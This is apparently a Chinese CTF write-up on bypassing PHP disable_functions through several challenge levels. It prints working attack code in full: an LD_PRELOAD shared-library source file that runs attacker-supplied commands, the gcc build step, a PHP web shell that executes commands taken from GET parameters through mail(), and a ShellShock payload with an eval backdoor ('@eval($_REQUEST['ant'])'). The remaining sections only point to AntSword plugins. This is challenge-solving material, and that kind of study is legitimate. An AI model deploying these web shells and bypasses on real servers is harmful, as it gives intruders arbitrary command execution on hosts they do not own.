LD_PRELOAD
题目中有小马,直接蚁剑连接
mail函数,就是发送邮件。
简单的来说,我们这里的利用方式,就是利用mail函数发送邮件时,会用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。
题目环境给了readflag文件,所以直接调用即可
编写C文件:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
Linux命令将c文件转换为so文件,并在tmp上传
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
在tmp再上传一个php文件
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline); #设置环境变量
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
error_log("",1,"",""); #添加 error_log()
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
ShellShock
蚁剑连接,如果连接失败可以换一个编码器。
我们写入shell.php文件
通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。
error_log()函数会在执行sh -c -t -i触发payload
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
error_log("admin",1);
?>
刷新目录生成test.php
得到flag
Apache Mod CGI
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令
直接利用蚁剑的插件:
选择模式
最后查找flag就可以了
tac flag
PHP-FPM
插件选择 Fastcgi/PHP-FPM模式
FPM/FCGI 地址 localhost:9000 通讯地址我们选择本地的 (相当于他服务器的本地)
生成.antproxy.php
蚁剑连接
虚拟终端
GC UAF
蚁剑连接
直接蚁剑插件
老命令找到flag
Json Serializer UAF
蚁剑连接
老招数
Backtrace UAF
继续老招数就完事了
FFI 扩展
。。。。
iconv
跟前面类似
bypass iconv 1
。。。。跟上一关一摸一样
bypass iconv 2
与前面两种属于一种漏洞,依旧一样的方法
总结
这种关卡大部分需要蚁剑插件,插件真的能方便很多!!!